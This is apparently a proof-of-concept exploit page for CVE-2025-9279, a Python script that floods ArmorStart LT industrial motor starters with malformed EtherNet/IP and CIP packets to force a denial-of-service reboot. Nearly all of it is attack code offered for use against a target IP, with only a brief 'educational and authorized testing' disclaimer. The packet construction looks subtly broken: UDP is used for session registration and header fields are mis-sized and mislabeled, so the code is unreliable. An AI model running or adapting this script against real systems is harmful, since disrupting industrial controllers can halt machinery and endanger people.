CVE-2025-9279 ArmorStart LT 拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-9279 PoC - ArmorStart LT EtherNet/IP DoS Reference: Achilles EtherNet/IP Step Limit Storm Test Note: This PoC is for educational and authorized testing purposes only. """ import socket import struct import time from typing import List def build_ethernet_ip_register_session() -> bytes: """Build EtherNet/IP session registration packet""" # EIP Header packet = b'\x06\x00' # Command: Register Session packet += struct.pack('<H', 4) # Length packet += b'\x01\x00' # Session Handle packet += struct.pack('<I', 0) # Status packet += b'\x00\x00\x00\x00' # Sender Context packet += struct.pack('<I', 0x00000320) # Options return packet def build_cip_message_router(path: List[int]) -> bytes: """Build CIP Message Router Request with path""" # Service: Get Attribute All (0x01) # Class: 0x0B (Message Router) # Path length in words path_words = [len(path)] + path path_data = b''.join(struct.pack('<H', w) for w in path_words) msg = struct.pack('BBB', 0x01, 0x0B, len(path)) # Service, Class, Path size msg += path_data return msg def send_step_limit_storm(target_ip: str, target_port: int = 44818, count: int = 100): """ Send Step Limit Storm packets to trigger DoS on ArmorStart LT This simulates the Achilles test that causes device reboot """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(1) print(f"[*] Connecting to {target_ip}:{target_port}") # Register session register_pkt = build_ethernet_ip_register_session() try: sock.sendto(register_pkt, (target_ip, target_port)) print("[+] Session registered") except Exception as e: print(f"[-] Failed to register session: {e}") return time.sleep(0.5) # Send malformed Step Limit packets print(f"[*] Sending Step Limit Storm packets (count={count})") for i in range(count): try: # Build CIP packet with invalid path to trigger Step Limit condition cip_data = build_cip_message_router([0x01, 0x02, 0x03]) # EIP encapsulation eip_packet = b'\x02\x00' # Command: SendRRData eip_packet += struct.pack('<H', len(cip_data) + 24) eip_packet += b'\x00\x00' * 2 # Session handle, status eip_packet += struct.pack('<Q', i) # Sender context eip_packet += struct.pack('<I', 0) # Options eip_packet += struct.pack('<H', 4 + len(cip_data)) # Interface length eip_packet += b'\x00\x02' # Timeout eip_packet += struct.pack('<H', 2 + len(cip_data)) # Item count eip_packet += b'\x00\x00\x02\x00' # Address item eip_packet += struct.pack('<H', len(cip_data)) # Data item length eip_packet += cip_data sock.sendto(eip_packet, (target_ip, target_port)) if i % 10 == 0: print(f"[*] Sent {i}/{count} packets") except Exception as e: print(f"[-] Error at packet {i}: {e}") print("[+] Attack completed") sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve-2025-9279-poc.py <target_ip>") sys.exit(1) target = sys.argv[1] send_step_limit_storm(target)